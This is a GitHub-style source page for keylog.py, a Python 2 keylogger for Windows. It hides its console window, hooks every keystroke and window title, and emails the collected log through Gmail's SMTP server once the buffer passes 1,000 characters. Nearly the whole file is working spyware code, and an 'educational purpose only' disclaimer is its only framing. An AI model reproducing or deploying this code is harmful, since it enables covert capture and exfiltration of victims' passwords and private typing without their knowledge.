-
Notifications
You must be signed in to change notification settings - Fork 7
/
keylog.py
113 lines (97 loc) · 2.35 KB
/
keylog.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
'''
Python Keylogger for Windows
====================================
Coded By: Niraj kashyap
FEATURES
========
1.SEND LOGS TO EMAIL
MINIMUM REQUIREMENTS
===================
Python 2.7: http://www.python.org/getit/
pyHook Module: http://sourceforge.net/projects/pyhook/
pyrhoncom Module: http://sourceforge.net/projects/pywin32/
NOTE: YOU ARE FREE TO COPY,MODIFY,REUSE THE SOURCE CODE FOR EDUCATIONAL PURPOSE ONLY.
'''
lastWindow = None
try:
import pythoncom, pyHook
except:
print "Please Install pythoncom and pyHook modules"
exit(0)
import os
import sys
import threading
import urllib,urllib2
import smtplib
import ftplib
import datetime,time
import win32event, win32api, winerror
#Disallowing Multiple Instance
mutex = win32event.CreateMutex(None, 1, 'mutex_var_xboz')
if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
mutex = None
print "Multiple Instance not Allowed"
exit(0)
x=''
data=''
count=0
#Hide Console
def hide():
import win32console,win32gui
window = win32console.GetConsoleWindow()
win32gui.ShowWindow(window,0)
return True
def send():
global data
if len(data)>1000:
ts = datetime.datetime.now()
SERVER = "smtp.gmail.com" #Specify Server Here
PORT = 587 #Specify Port Here
USER=""#Specify Username Here
PASS=""#Specify Password Here
FROM = USER#From address is taken from username
TO = "" #Specify to address.Use comma if more than one to address is needed.
print 'data...................'
print data
try:
server = smtplib.SMTP()
print '1'
server.connect(SERVER,PORT)
print '2'
print server.ehlo()
server.starttls()
print '3'
print server.ehlo()
server.login(USER,PASS)
print '4'
server.sendmail(FROM, TO, data)
data=''
server.quit()
print 'msg sent'
except Exception :
print "error in connecting"
return True
def main():
hide()
return True
main()
def keypressed(event):
global x,data,lastWindow
window = event.WindowName
if window != lastWindow:
data=data+'\n'+window+'||'
lastWindow = window
if event.Ascii==13:
keys='<ENTER>'
elif event.Ascii==8:
keys='<BACK SPACE>'
elif event.Ascii==9:
keys='<TAB>'
else:
keys=chr(event.Ascii)
data=data+keys
send()
obj = pyHook.HookManager()
obj.KeyDown = keypressed
obj.HookKeyboard()
pythoncom.PumpMessages()